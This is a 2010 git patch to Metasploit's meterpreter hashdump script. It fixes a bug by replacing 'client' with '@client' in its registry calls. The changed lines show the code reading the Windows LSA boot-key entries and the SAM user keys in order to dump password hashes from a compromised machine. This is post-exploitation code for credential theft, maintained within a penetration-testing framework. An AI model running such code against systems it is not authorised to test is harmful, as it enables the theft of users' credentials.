From 5ed57c676866ef1b63fd1390b3d9a5505ad1bafc Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Tue, 19 Jan 2010 23:52:14 +0000 Subject: [PATCH] Fixed problen whe using AutoScript and sessions -s command git-svn-id: file:///home/svn/framework3/trunk@8170 4d416f70-5f16-0410-b530-b9f4589650da --- scripts/meterpreter/hashdump.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 6a6d39add6..a6f3465974 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -47,7 +47,7 @@ def capture_boot_key bootkey = "" basekey = "System\\CurrentControlSet\\Control\\Lsa" %W{JD Skew1 GBG Data}.each do |k| - ok = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) return nil if not ok bootkey << [ok.query_class.to_i(16)].pack("V") ok.close @@ -67,7 +67,7 @@ def capture_boot_key end def capture_hboot_key(bootkey) - ok = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) return if not ok vf = ok.query_value("F") return if not vf @@ -86,11 +86,11 @@ end def capture_user_keys users = {} - ok = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) return if not ok ok.enum_key.each do |usr| - uk = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) next if usr == 'Names' users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data @@ -99,9 +99,9 @@ def capture_user_keys end ok.close - ok = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) ok.enum_key.each do |usr| - uk = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) r = uk.query_value("") rid = r.type users[rid] ||= {}